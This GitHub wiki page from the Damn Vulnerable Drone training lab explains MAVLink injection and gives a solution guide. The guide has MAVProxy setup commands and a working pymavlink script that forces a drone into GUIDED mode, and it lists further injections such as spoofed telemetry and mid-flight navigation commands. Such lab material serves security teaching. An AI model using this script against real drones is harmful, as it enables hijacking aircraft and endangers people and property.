MAVLink Injection Attack - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki
Manipulating MAVLink messages to alter the behavior of a drone.
Damn Vulnerable Drone > Attack Scenarios > Injection > MAVLink Injection Attack
A MAVLink injection attack involves intercepting and injecting malicious MAVLink messages into the communication between a drone and its ground control station. This can be used to alter the behavior of the drone — including changing flight modes, issuing command overrides, injecting telemetry, or redirecting navigation.
MAVLink is a lightweight message protocol used by most modern drones, and in many systems it lacks authentication or message signing, making it susceptible to injection.
⚠️ Solution Guide
sudo apt-get install python3-dev python3-opencv python3-wxgtk4.0 \
python3-pip python3-matplotlib python3-lxml python3-pygame
pip3 install PyYAML mavproxy --user
echo 'export PATH="$PATH:$HOME/.local/bin"' >> ~/.bashrc
Use one of the following methods depending on your setup:
Serial:
mavproxy.py --master=/dev/ttyUSB0 --baudrate 57600 --aircraft MyAircraft
UDP:
mavproxy.py --master=udp:127.0.0.1:14550
mavproxy.py --master=udp:127.0.0.1:14550 --out=udp:127.0.0.1:14551
This allows MAVProxy to forward injected commands from another port to the live drone connection.
Save this example script as inject_mode_change.py
:
from pymavlink import mavutil
# Connect to the forwarding port
master = mavutil.mavlink_connection('udp:127.0.0.1:14550')
master.wait_heartbeat()
print("[+] Connected to drone")
# Change mode using COMMAND_LONG
master.mav.command_long_send(
1, 1, # target system, target component
mavutil.mavlink.MAV_CMD_DO_SET_MODE,
0,
1, 0, 4, # param1: base_mode=1, param2: unused, param3: custom_mode=4 (GUIDED)
0, 0, 0, 0
)
print("[!] Sent mode change command")
You can use this method to inject arbitrary MAVLink commands into the drone’s message stream, such as:
- Change to GUIDED or LOITER mode
- Trigger Return-to-Launch (RTL)
- Inject spoofed telemetry (e.g., GPS, battery)
- Send
MISSION_ITEM
orSET_POSITION_TARGET_GLOBAL_INT
commands mid-flight